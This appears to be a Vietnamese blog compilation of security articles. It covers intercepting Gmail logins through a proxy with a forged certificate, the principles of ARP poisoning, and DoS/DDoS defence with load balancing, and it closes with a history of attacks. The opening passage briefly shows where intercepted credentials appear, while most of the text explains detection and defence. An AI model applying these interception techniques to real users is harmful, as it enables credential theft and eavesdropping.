Lựa chọn trang web https://www.google.com à Vào mục Accounts à Vào mục ServiceLoginAuth à Nhìn chuyển sang bên phải chọn “Request” (thông tin gửi lên server) vào mục Raw chúng ta sẽ thấy thông tin Username và Password

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 731x976



IV. Phát hiện và bảo mật cho Account Gmail
Muốn hack password gmail kẻ tấn công phải hướng người dùng đặt Proxy đi qua một Intercept Proxy sau đó giả mạo Certificate do đó muốn phát hiện và bảo mật cho Account Gmail bạn có thể thực hiện bằng các cách:

1. Phát hiện khi vào mạng có qua một Proxy hay không
Kiểm tra bằng cách trước khi vào Internet truy cập vào mục thiết lập Proxy xem có địa chỉ nào được thiết lập hay chưa.
Cách này rất hữu ích nhưng xem ra có phần rườm rà khó thực hiện và dễ bị quên hay bỏ qua

2. Phát hiện Certificate bị giả mạo
a. Khi truy cập bình thường
+ Vào Gmail sẽ không bật ra nhưng pop-up đề xuất download Certificate
+ Nhấn chuột vào biểu tượng cục khóa à view Certifcate sẽ thấy nó được sinh ra từ Verisign

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 746x688



Khi truy cập đi qua một Intercept Proxy
+ Truy cập vào Gmail sẽ xuất hiện cửa sổ này thông báo Certificate của bạn đã bị lỗi có tiếp tục hay không. Nếu thấy biểu tượng này khuyến cáo người dùng không nên tiếp tục và kiểm tra lại độ an toàn của mạng và máy tính trước khi truy cập

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 748x487

+ Nếu người dùng tiếp tục truy cập vào trang Gmail sẽ không có biểu tượng cục khóa mà thay vào đó là biểu tượng “Certificate Error”.
+ Nhấn xem Certificate này chúng ta sẽ thấy Certificate này không phải do Verisign sinh ra

Hình này đã được thu nhỏ, nhấn vào đây để xem nguyên bản. Kích thước ban đầu của ảnh này là 749x710




Note: Nếu người dùng thấy hai yếu tố này khuyến cáo không nên tiếp tục vào Gmail vì Username và password của bạn hoàn toàn có thể bị mất. Ngoài ra người dùng không nên lưu mật khẩu để tự động truy cập bởi khi máy tính rơi vào tay người khác thì thông tin còn lưu lại trên IE, Firefox hoàn toan có thể bị khai thác dễ dàng. Người dùng cũng nên cài đặt các chương trình diệt Virus để ngăn chặn các loại Virus, Keylogger ăn chôm mật khẩu.

Thứ Năm, 28 tháng 10, 2010

Nguyên lý tấn công ARP poisoning và cách phòng thủ

Nguyên lý tấn công ARP poisoning và cách phòng thủ

Nguyên lý tấn công ARP poisoning và cách phòng thủ
link: http://www.uitstudent.com/forum/showthread.php?t=6445
GIỚI THIỆU GIAO THỨC ARP

Mỗi thiết bị trong hệ thống mạng của chúng ta có ít nhất hai địa chỉ. Một địa chỉ là Media Access Control ( MAC ) và một địa chỉ Internet Protocol ( IP ). Địa chỉ MAC là địa chỉ của card mạng gắn vào bên trong thiết bị, nó là duy nhất và không hề thay đổi. Địa chỉ IP có thể thay đổi theo người sử dụng tùy vào môi trường mạng. ARP là một trong những giao thức của IP, chức năng của nó dùng để định vị một host trong một segment mạng bằng cách phân giải địa chỉ IP ra địa chỉ MAC. ARP thực hiện điều đó thông qua một tiến trình broadcast gói tin đến tất cả các host trong mạng, gói tin đó chứa địa chỉ IP của host cần giao tiếp. Các host trong mạng đều nhận được gói tin đó và chỉ duy nhất host nào có địa chỉ IP trùng với địa chỉ IP trong gói tin mới trả lời lại, còn lại sẽ tự động drop gói tin.

ARP là một giao thức hết sức đơn giản, nó đơn thuần có 4 loại message cơ bản sau:

  • An ARP Request: máy tính A sẽ hỏi toàn mạng : " ai có địa chỉ IP này? "
  • An ARP Reply: máy tính B trả lời máy tính A : "tôi có IP đó, địa chỉ MAC của tôi là..."
  • An Reverse ARP Request: máy tính A sẽ hỏi toàn mạng : " ai có địa chỉ MAC này? "
  • An Reverse ARP Reply: máy tính B trả lời máy tính A: " tôi có MAC đó, địa chỉ IP của tôi là..."

Host A gửi một ARP Request và nhận được một ARP Reply từ một host B có thực trong mạng. sau khi tiến trình này hoàn tất, host Ahost B sẽ có MAC như thế nào. Tiếp theo, host A sẽ lưu lại sự hiểu biết đó lên bộ nhớ của mình gọi là ARP table. ARP table giúp host A không phải thực hiện ARP Request đến host B một lần nữa. đã biết được IP của

MÔ TẢ QUÁ TRÌNH ARP REQUEST VÀ ARP REPLY

  • Trong mạng LAN hiện nay có 4 host: host A, host B, host C, host D.
  • Host A muốn giao tiếp với host C, đầu tiên sẽ broadcast gói tin ARP Requset.
  • Host C nhận thấy đúng IP của mình liền trả lời MAC của mình thông qua gói tin ARP Reply, các host còn lại sẽ drop gói ARP Request.
  • Host A nhận được địa chỉ MAC của host C và ghi nhớ vào ARP table.







NGUYÊN LÝ TẤN CÔNG
Giao thức ARP là rất cần thiết và quan trọng trong hệ thống mạng của chúng ta, tuy nhiên nó lại không đề cập đến vấn đề xác thực nào cả. Khi một host nhận được gói tin ARP Reply, nó hoàn toàn tin tưởng và mặc nhiên sử dụng thông tin đó để sử dụng sau này mà không cần biết thông tin đó có phải trả lời từ một host mà mình mong muốn hay không. ARP không có cơ chế nào để kiểm tra việc đó cả và trên thực tế một host có thể chấp nhận gói ARP Reply mà trước đó không cần phải gửi gói tin ARP Request. Lợi dụng điều này, hacker có thể triển khai các phương thức tấn công như: Man In The Middle, Denial of Service, MAC Flooding





MAN IN THE MIDDLE

Giả sử hacker muốn theo dõi host A gởi thông tin gì cho host B. Đầu tiên, hacker sẽ gởi gói ARP Reply đến host A với nội dung là địa chỉ MAC của hacker và địa chỉ IP của hostB.
Tiếp theo, hacker sẽ gửi gói ARP Reply tới host B với nội dung là MAC của máy hacker và IP của host A. Như vậy, cả hai host Ahost B đều tiếp nhận gói ARP Reply đó và lưu vào trong ARP table của mình. Đến lúc này, khi host A muốn gửi thông tin đến host B, nó liền tra vào ARP table thấy đã có sẵn thông tin về địa chỉ MAC của host B nênsẽ lấy thông tin đó ra sử dụng, nhưng thực chất địa chỉ MAC đó là của hacker. Đồng thời máy tính của hacker sẽ mở chức năng gọi là IP Forwading giúp chuyển tải nội dung mà host A gửi qua host B. Host A host B giao tiếp bình thường và không có cảm giác bị qua máy trung gian là máy của hacker.

Trong trường hợp khác, hacker sẽ nghe lén thông tin từ máy bạn đến Gateway. Như vậy mọi hành động ra Internet của bạn đều bị hacker ghi lại hết, dẫn đến việc mất mát các thông tin nhạy cảm.


DENIAL OF SERVICE


Cũng vận dụng kỹ thuật trên, hacker tiến hành tấn công bằng cách gởi gói ARP Reply đến toàn bộ các host trong mạng với nội dung mang theo là địa chỉ IP của Gateway và địa chỉ MAC không hề tồn tại. Như vậy các host trong mạng tin tưởng rằng mình đã biết được MAC của Gateway và khi gửi thông tin đến Gateway, kết quả là gửi đến một nơi hoàn toàn không tồn tại. Đó là điều hacker mong muốn, toàn bộ các host trong mạng đều không thể đi ra Internet được.

MAC FLOODING

Cách tấn công này cũng dùng kỹ thuật ARP Poisoning mà đối tượng nhắm đến là Switch. Hacker sẽ gửi những gói ARP Reply giả tạo với số lượng khổng lồ nhằm làm Switch xử lý không kịp và trở nên quá tải. Khi đó, Switch sẽ không đủ sức thể hiện bản chất Layer2 của mình nữa mà broadcast gói tin ra toàn bộ các port của mình. Hacker dễ dàng bắt được toàn bộ thông tin trong mạng của bạn.


CÁCH PHÒNG THỦ
ARP Poisoning là một kiểu tấn công dạng local, nghĩa là hacker thực hiện tấn công từ bên trong mạng của bạn. Hậu quả của cách tấn công này là rất lớn, những người quản trị mạng cần nắm bắt rõ về kỹ thuật tấn công này. Sau đây là một số kỹ thuật giúp phòng chống tấn công kiểu ARP Poisoning.
1. Đối với một mạng nhỏ:
Ta có thể sử dụng địa chỉ IP tĩnh và ARP table tĩnh, khi đó, bạn sẽ liệt kê bằng tay IP nào đi với MAC nào. Trong Windows có thể sử dụng câu lệnh ipconfig /all để xem IP và MAC, dùng câu lệnh arp -s để thêm vào ARP table. Khi mà ép tĩnh như vậy sẽ ngăn chặn hacker gởi các gói ARP Reply giả tạo đến máy của mình vì khi sử dụng ARP table tĩnh thì nó luôn luôn không thay đổi. Chú ý rằng cách thức này chỉ áp dụng được trong môi trường mạng với quy mô nhỏ, nếu mạng lớn hơn là không thể vì chúng ta phải thêm vào ARP table bằng tay với số lượng quá nhiều.
2. Đối với một mạng lớn:
Khi quản trị trong một mạng quy mô lớn, ta có thể sử dụng chức năng Port security. Khi mở chức năng Port security lên các port của Switch, ta có thể quy định port đó chỉ chấp nhận một địa chỉ MAC. Như vậy sẽ ngăn chặn việc thay đổi địa chỉ MAC trên máy hacker.

Ngoài ra cũng có thể sử dụng các công cụ, ví dụ như ArpWatch. Nó sẽ phát hiện và báo cáo cho bạn các thông tin liên quan đến ARP đang diễn ra trong mạng. Nhờ đó, nếu có hiện tượng tấn công bằng ARP Poisoning thì bạn có thể giải quyết kịp thời.



In the end

Nghiên cứu và đưa ra giải pháp phòng chống tấn công DoS, DDoS

Nghiên cứu và đưa ra giải pháp phòng chống tấn công DoS, DDoS
Thứ tư, 18 Tháng 8 2010 23:32
1.Tối thiểu hóa số lượng Agent
- Từ phía User: một phương pháp rất tốt để năng ngừa tấn công DDoS là từng internet user sẽ tự đề phòng không để bị lợi dụng tấn công hệ thống khác. Muốn đạt được điều này thì ý thức và kỹ thuật phòng chống phải được phổ biến rộng rãi cho các internet user. Attack-Network sẽ không bao giờ hình thành nếu không có user nào bị lợi dụng trở thành Agent. Các user phải liên tục thực hiện các quá trình bảo mật trên máy vi tính của mình. Họ phải tự kiểm tra sự hiện diện của Agent trên máy của mình, điều này là rất khó khăn đối với user thông thường.

- Một số giải pháp tích hợp sẵn khả năng ngăn ngừa việc cài đặt code nguy hiểm vào hardware và software của từng hệ thống. Về phía user họ nên cài đặt và cập nhật liên tục các software như antivirus, anti_trojan và server patch của hệ điều hành.

- Từ phía ISP: Thay đổi cách tính tiền dịch vụ truy cập theo dung lượng sẽ làm cho user lưu ý đến những gì họ gửi, như vậy về mặt ý thức sẽ tăng cường phát hiện DDoS Agent sẽ tự nâng cao ở mỗi User.

2.Tìm và vô hiệu hóa các Handler


- Một nhân tố vô cùng quan trọng trong attack-network là Handler, nếu có thể phát hiện và vô hiệu hóa Handler thì khả năng Anti-DDoS thành công là rất cao. Bằng cách theo dõi các giao tiếp giữa Handler và Client hay Handler và Agent ta có thể phát hiện ra vị trí của Handler. Do một Handler quản lý nhiều, nên triệt tiêu được một Handler cũng có nghĩa là loại bỏ một lượng đáng kể các Agent trong Attack Network.

3.Phát hiện dấu hiệu của một cuộc tấn công

Agress Filtering:

Kỹ thuật này kiểm tra xem một packet có đủ tiêu chuẩn ra khỏi một subnet hay không dựa trên cơ sở gateway của một subnet luôn biết được địa chỉ IP của các máy thuộc subnet. Các packet từ bên trong subnet gửi ra ngoài với địa chỉ nguồn không hợp lệ sẽ bị giữ lại để điều tra nguyên nhân. Nếu kỹ thuật này được áp dụng trên tất cả các subnet của internet thì khái nhiệm giả mạo địa chỉ IP sẽ không còn tồn tại.

MIB statistics:

Trong Management Information Base (SNMP) của route luôn có thông tin thống kê về sự biến thiên trạng thái của mạng. Nếu ta giám sát chặt chẽ các thống kê của Protocol ICMP, UDP và TCP ta sẽ có khả năng phát hiện được thời điểm bắt đầu của cuộc tấn công để tạo “quỹ thời gian vàng” cho việc xử lý tình huống.

4.Làm suy giàm hay dừng cuộc tấn công

Load balancing:
Thiết lập kiến trúc cân bằng tải cho các server trọng điểm sẽ làm gia tăng thời gian chống chọi của hệ thống với cuộc tấn công DDoS. Tuy nhiên, điều này không có ý nghĩa lắm về mặt thực tiễn vì quy mô của cuộc tấn công là không có giới hạn.

Throttling:

Thiết lập cơ chế điều tiết trên router, quy định một khoảng tải hợp lý mà server bên trong có thể xử lý được. Phương pháp này cũng có thể được dùng để ngăn chặn khả năng DDoS traffic không cho user truy cập dịch vụ. Hạn chế của kỹ thuật này là không phân biệt được giữa các loại traffic, đôi khi làm dịch vụ bị gián đoạn với user, DDoS traffic vẫn có thể xâm nhập vào mạng dịch vụ nhưng với số lượng hữu hạn.

Drop request:

Thiết lập cơ chế drop request nếu nó vi phạm một số quy định như: thời gian delay kéo dài, tốn nhiều tài nguyên để xử lý, gây deadlock. Kỹ thuật này triệt tiêu khả năng làm cạn kiệt năng lực hệ thống, tuy nhiên nó cũng giới hạn một số hoạt động thông thường của hệ thống, cần cân nhắc khi sử dụng.

5.Chuyển hướng của cuộc tấn công

Honeyspots:
-Một kỹ thuật đang được nghiên cứu là Honeyspots. Honeyspots là một hệ thống được thiết kế nhằm đánh lừa attacker tấn công vào khi xâm nhập hệ thống mà không chú ý đến hệ thống quan trọng thực sự.

-Honeyspots không chỉ đóng vai trò “Lê Lai cứu chúa” mà còn rất hiệu quả trong việc phát hiện và xử lý xâm nhập, vì trên Honeyspots đã thiết lập sẵn các cơ chế giám sát và báo động.

-Ngoài ra Honeyspots còn có giá trị trong việc học hỏi và rút kinh nghiệm từ Attacker, do Honeyspots ghi nhận khá chi tiết mọi động thái của attacker trên hệ thống. Nếu attacker bị đánh lừa và cài đặt Agent hay Handler lên Honeyspots thì khả năng bị triệt tiêu toàn bộ attack-network là rất cao.

6.Giai đoạn sau tấn công:

Traffic Pattern Analysis:

Nếu dữ liệu về thống kê biến thiên lượng traffic theo thời gian đã được lưu lại thì sẽ được đưa ra phân tích. Quá trình phân tích này rất có ích cho việc tinh chỉnh lại các hệ thống Load Balancing và Throttling. Ngoài ra các dữ liệu này còn giúp Quản trị mạng điều chỉnh lại các quy tắc kiểm soát traffic ra vào mạng của mình.

Packet Traceback:

Bằng cách dùng kỹ thuật Traceback ta có thể truy ngược lại vị trí của Attacker (ít nhất là subnet của attacker). Từ kỹ thuật Traceback ta phát triển thêm khả năng Block Traceback từ attacker khá hữu hiệu, gần đây đã có một kỹ thuật Traceback khá hiệu quả có thể truy tìm nguồn gốc của cuộc tấn công dưới 15 phút, đó là kỹ thuật XXX.

Bevent Logs:

Bằng cách phân tích file log sau cuộc tấn công, quản trị mạng có thể tìm ra nhiều manh mối và chứng cứ quan trọng.

7.Sử dụng Load Balancing

a)Giới thiệu chung:

Một số đơn vị, chẳng hạn như các công ty hàng không hoặc các ngân hàng lớn, mạng máy tính có thể ví như hệ thần kinh điều khiển hoạt động của toàn doanh nghiệp. Sự ngừng hoạt động của mạng máy tính trong những cơ quan này có thể làm tê liệt các hoạt động chính của đơn vị, và thiệt hại khó có thể lường trước được.

Các máy chủ là trái tim của của mạng máy tính, nếu máy chủ mạng hỏng, hoạt động của hệ thống sẽ bị ngưng trệ. Điều đáng tiếc là dù các hãng sản xuất đã cố gắng làm mọi cách để nâng cao chất lượng của thiết bị, nhưng những hỏng hóc đối với các thiết bị mạng nói chung và các máy chủ nói riêng là điều không thể tránh khỏi. Do vậy, vấn đề đặt ra là cần có một giải pháp để đảm bảo cho hệ thống vẫn hoạt động tốt ngay cả khi có sự cố xảy ra đối với máy chủ mạng, và công nghệ clustering (bó) là câu trả lời cho vấn đề này. Bài báo này giới thiệu nguyên lý và phân tích một số giải pháp clustering đang được áp dụng cho các hệ thống mạng máy tính lớn với hi vọng có thể giúp độc giả hiểu rõ hơn về công nghệ tưởng như đơn giản nhưng thực tế khá phức tạp này.

b)Tổng quan về công nghệ Clustering

Clustering là một kiến trúc nhằm đảm bảo nâng cao khả năng sẵn sàng cho các hệ thống mạng máy tính. Clustering cho phép sử dụng nhiều máy chủ kết hợp với nhau tạo thành một cụm (cluster) có khả năng chịu đựng hay chấp nhận sai sót (fault-tolerant) nhằm nâng cao độ sẵn sàng của hệ thống mạng. Cluster là một hệ thống bao gồm nhiều máy chủ được kết nối với nhau theo dạng song song hay phân tán và được sử dụng như một tài nguyên thống nhất. Nếu một máy chủ ngừng hoạt động do bị sự cố hoặc để nâng cấp, bảo trì, thì toàn bộ công việc mà máy chủ này đảm nhận sẽ được tự động chuyển sang cho một máy chủ khác (trong cùng một cluster) mà không làm cho hoạt động của hệ thống bị ngắt hay gián đoạn. Quá trình này gọi là “fail-over”; và việc phục hồi tài nguyên của một máy chủ trong hệ thống (cluster) được gọi là “fail-back”.

Hình 1. Mô hình cơ bản của 1 hệ thống Network Load balancing

c)Các yêu cầu của 1 hệ thống Cluster:

Yêu cầu về tính sẵn sàng cao (availability). Các tài nguyên mạng phải luôn sẵn sàng trong khả năng cao nhất để cung cấp và phục vụ các người dùng cuối và giảm thiểu sự ngưng hoạt động hệ thống ngoài ý muốn.

Yêu cầu về độ tin cậy cao (reliability). Độ tin cậy cao của cluster được hiểu là khả năng giảm thiểu tần số xảy ra các sự cố, và nâng cao khả năng chịu đựng sai sót của hệ thống.

Yêu cầu về khả năng mở rộng được (scalability). Hệ thống phải có khả năng dễ dàng cho việc nâng cấp, mở rộng trong tương lai. Việc nâng cấp mở rộng bao hàm cả việc thêm các thiết bị, máy tính vào hệ thống để nâng cao chất lượng dịch vụ, cũng như việc thêm số lượng người dùng, thêm ứng dụng, dịch vụ và thêm các tài nguyên mạng khác.
Ba yêu cầu trên được gọi tắt là RAS (Reliability-Availability-Scalability), những hệ thống đáp ứng được ba yêu cầu trên được gọi là hệ thống RAS (cần phân biệt với Remote Access Service là dịch vụ truy cập từ xa).
Cũng cần chú ý rằng hiệu quả hoạt động của hệ thống Clustering phụ thuộc vào sự tương thích giữa các ứng dụng và dịch vụ, giữa phần cứng và phần mềm. Ngoài ra, kỹ thuật clustering không thể chống lại các sự cố xảy ra do virus, sai sót của phần mềm hay các sai sót do người sử dụng. Để chống lại các sự cố này cần xây dựng một cơ sở dữ liệu được bảo vệ chắc chắn cũng như có các kế hoạch khôi phục, backup dữ liệu.

d)Cluster nhiều địa điểm phân tán

Với các hệ thống mạng lớn có các người dùng phân bố rải rác, hiệu quả của việc phòng chống sự cố và nâng cao tính sẵn sàng của mạng sẽ được cải thiện hơn nhiều nếu xây dựng hệ thống cluster bố trí tại nhiều địa điểm. Kiến trúc nhiều địa điểm có thể được thiết kế theo rất nhiều cách khác nhau, trong đó phổ biến nhất là có một điểm gốc và một số điểm ở xa.

Với kiểu thiết kế đầy đủ, toàn bộ cấu trúc của điểm gốc được xây dựng lại đầy đủ ở các điểm ở xa. Điều này cho phép các điểm ở xa hoạt động độc lập và có thể xử lý toàn bộ khối lượng công việc của điểm gốc nếu cần. Trong trường hợp này, việc thiết kế phải đảm bảo sao cho cơ sở dữ liệu và các ứng dụng giữa điểm gốc và các điểm ở xa phải đồng bộ và được cập nhật sao lặp ở chế độ thời gian thực.

Với kiểu thiết kế thực hiện từng phần thì chỉ có các thành phần cơ bản là được cài đặt ở các điểm ở xa nhằm: Xử lý các khối lượng công việc quá tải trong các giờ cao điểm; Duy trì hoạt động ở mức cơ bản trong trường hợp điểm gốc site bị sự cố; Cung cấp một số dịch vụ hạn chế nếu cần.
Cả kiểu thiết kế đầy đủ hay từng phần đều dùng phương cách phân tán các máy chủ rải rác về mặt địa lý. Cluster phân tán về địa lý sử dụng mạng LAN ảo (Virtual LAN) để kết nối các mạng khu vực lưu trữ SAN (storage area network) qua những khoảng cách lớn.

e)Một vài thuật toán sử dụng trong Load balancing phòng chống DoS:

Hình 2. Sơ đồ một hệ thống mạng Firewall Load Balancing


f)Các mô hình Load Balancing hiện nay:

i.Client-side load balancing

ii.Server-side load balancing

g)Chế độ hoạt động của Network Load Balancing

Mỗi máy chủ trong cluster được gọi là một nút (cluster node), và có thể được thiết lập ở chế độ chủ động (active) hay thụ động (passive). Khi một nút ở chế dộ chủ động, nó sẽ chủ động xử lý các yêu cầu. Khi một nút là thụ động, nó sẽ nằm ở chế độ dự phòng nóng (stanby) chờ để sẵn sàng thay thế cho một nút khác nếu bị hỏng. Nguyên lý hoạt động của Cluster có thể biểu diễn như trong hình 1.

Hình 3. Nguyên lý hoạt động của một Cluster

Trong một cluster có nhiều nút có thể kết hợp cả nút chủ động và nút thụ động. Trong những mô hình loại này việc quyết định một nút được cấu hình là chủ động hay thụ động rất quan trọng. Để hiểu lý do tại sao, hãy xem xét các tình huống sau:

- Nếu một nút chủ động bị sự cố và có một nút thụ động đang sẵn sàng, các ứng dụng và dịch vụ đang chạy trên nút hỏng có thể lập tức được chuyển sang nút thụ động. Vì máy chủ đóng vai trò nút thụ động hiện tại chưa chạy ứng dụng hay dịch vụ gì cả nên nó có thể gánh toàn bộ công việc của máy chủ hỏng mà không ảnh hưởng gì đến các ứng dụng và dịch vụ cung cấp cho người dùng cuối (Ngầm định rằng các các máy chủ trong cluster có cấu trúc phần cứng giống nhau).

- Nếu tất cả các máy chủ trong cluster là chủ động và có một nút bị sự cố, các ứng dụng và dịch vụ đang chạy trên máy chủ hỏng sẽ phải chuyển sang một máy chủ khác cũng đóng vai trò nút chủ động. Vì là nút chủ động nên bình thường máy chủ này cũng phải đảm nhận một số ứng dụng hay dịch vụ gì đó, khi có sự cố xảy ra thì nó sẽ phải gánh thêm công việc của máy chủ hỏng. Do vậy để đảm bảo hệ thống hoạt động bình thường kể cả khi có sự cố thì máy chủ trong cluster cần phải có cấu hình dư ra đủ để có thể gánh thêm khối lượng công việc của máy chủ khác khi cần.
Trong cấu trúc cluster mà mỗi nút chủ động được dự phòng bởi một nút thụ động, các máy chủ cần có cấu hình sao cho với khối lượng công việc trung bình chúng sử dụng hết khoảng 50% CPU và dung lượng bộ nhớ.
Trong cấu trúc cluster mà số nút chủ động nhiều hơn số nút bị động, các máy chủ cần có cấu hình tài nguyên CPU và bộ nhớ mạnh hơn nữa để có thể xử lý được khối lượng công việc cần thiết khi một nút nào đó bị hỏng.
Các nút trong một cluster thường là một bộ phận của cùng một vùng (domain) và có thể được cấu hình là máy điều khiển vùng (domain controllers) hay máy chủ thành viên. Lý tưởng nhất là mỗi cluster nhiều nút có ít nhất hai nút làm máy điều khiển vùng và đảm nhiệm việc failover đối với những dịch vụ vùng thiết yếu. Nếu không như vậy thì khả năng sẵn sàng của các tài nguyên trên cluster sẽ bị phụ thuộc vào khả năng sẵn sàng của các máy điều khiển trong domain.

h)Network Load Balancing của Goole và Yahoo! trong việc phòng chống Denial of Service:

i.Cơ chế chung

vKhi connect tới server, Round Robin DNS Load Balancing sẽ phân giải domain thành nhiều địa chỉ IP khác nhau và sử dụng cấp thứ 1của load balancing là gửi tới các cluster khác nhau, các cluster này thực chất là các server cache của nhau, dữ liệu của chúng được đồng bộ lẫn nhau thông qua giao thức HTTP.

vMỗi server cluster có hàng ngàn server để gửi các query tới web server

vServer load balancer lấy request của user và chuyển tiếp nó tới 1 trong các web servers nhờ vào Squid proxy servers

vSquid proxy server nhận request của client load balancer và trả về kết quả nếu có trong cache ngược lại thì chuyển tiếp tới web servers

vWeb server định vị tọa độ thực thi các queries của user và định dạng kết quả thành 1 trang HTML

ii.Giải pháp thực tế của Google

vSử dụng các NetScaler 9800 Secure Application Switches

vNetScaler có thể tải hàng trăm megabits trong 1 giâycủa tầng 4 đếntầng 7 lưu lượng sử dụng

vTại dữ liệu trung tâm, các máy chủ sử dụng các Apache Server và các ứng dụng Web Server do chính Google thiết kế

vCách thức NetScaler phòng chống DoS là nó đóng vai trò như 1 firewall dự phòng của hệ thống firewall của công ty

vCác load balancer được thiết kế chỉ chấp nhận các luồng thông tin qua cổng 80, nếu thông tin không đi qua một cổng được chỉ định, hoặc không bắt nguồn từ 1 IP, chúng sẽ bị hủy lập tức

vVới tính năng "SYN cookies", NetScaler có thể đáp ứng các SYN messages - packets khởi đầu cho 1 TCP/IP connection(được sử dụng trong "SYN flood" DoS attack) mà không xung đột với tài nguyên của chính nó

vVới NetScaler, Google phòng chống được DoS attack từ tầng 4, đối với tầng 7 đã có công cụ được cài trên các Web server xử lý

vThiết lập kiến trúc cân bằng tải cho các server trọng điểm sẽ làm gia tăng thời gian chống chọi của hệ thống với cuộc tấn công DDoS


1Một số vụ tấn công bằng DoS và DDoS


Thế giới

•1998 Chương trình Trinoo Distributed Denial of Service (DDoS) được viết bởi Phifli.

•Tháng 5 – 1999 Trang chủ của FBI đã ngừng họat động vì cuộc tấn công bằng (DDOS)

•Cuối tháng 9 năm 1999, Công cụ Stacheldraht đã bắt đầu xuất hiện trên những hệ thống của Châu âu và Hoa kỳ

•Lúc 10h 30 ngày 7-2-2000 Yahoo bị tấn công từ chối dịch vụ và ngưng trệ hoạt động trong vòng 3 giờ đồng hồ. Web site Mail Yahoo và GeoCities đã bị tấn công từ 50 địa chỉ IP khác nhau với những yêu cầu chuyển vận lên đến 1 gigabit /s

•8-2-2000 nhiều Web site lớn như Buy.com, Amazon.com, eBay, Datek, MSN, và CNN.com bị tấn công từ chối dịch vụ.

•Lúc 7 giờ tối ngày 9-2-2000 Website Excite.com là cái đích của một vụ tấn công từ chối dịch vụ, dữ liệu được luân chuyển tới tấp trong vòng 1 giờ cho đến khi kết thúc, và gói dữ liệu đó đã hư hỏng nặng.

Việt Nam

•Ngày 01/12/2005 Website Hacker lớn nhất Việt Nam HVA bị tấn công bằng “chiêu thức” xFlash với tốc độ tấn công khoảng 16.000 syn/s. Đây là vụ tấn công Từ Chối Dịch Vụ đầu tiên ở Việt Nam

•Nguyễn Thành Công tức DantruongX (Đắk Lắk) tấn công vào website của công ty Việt Cơ vào ngày 12/03/2006.

•Và bị bắt vào ngày 28/04/2006.

•Đây là vụ tấn công đầu tiên ở Việt Nam bị pháp luật xử lý.

•DantruongX là tác giả của một loại code DDoS mạnh nhất tại Việt Nam hiện nay, và với 10 PC có thể đánh sập một website trong 10 phút.


Mô hình tấn công vào Website của Việt Cơ

•Ngày 31/7/2006, một sinh viên năm thứ 2 đã bị đơn vị phòng chống tội phạm công nghệ cao thuộc C15 Bộ Công an bắt giữ vì tiến hành tấn công từ chối dịch vụ. Kẻ "thủ ác" quản trị một số diễn đàn âm nhạc và lợi dụng PC thành viên để đánh phá website "nạn nhân" trong thời gian dài.

•Hacker trẻ tuổi này đã dùng phương pháp xFlash để tấn công những máy chủ của công ty phần mềm Nhân Hòa trong một thời gian dài .

Sơ đồ tấn công vào công ty Nhân Hòa

(Nguồn Athena)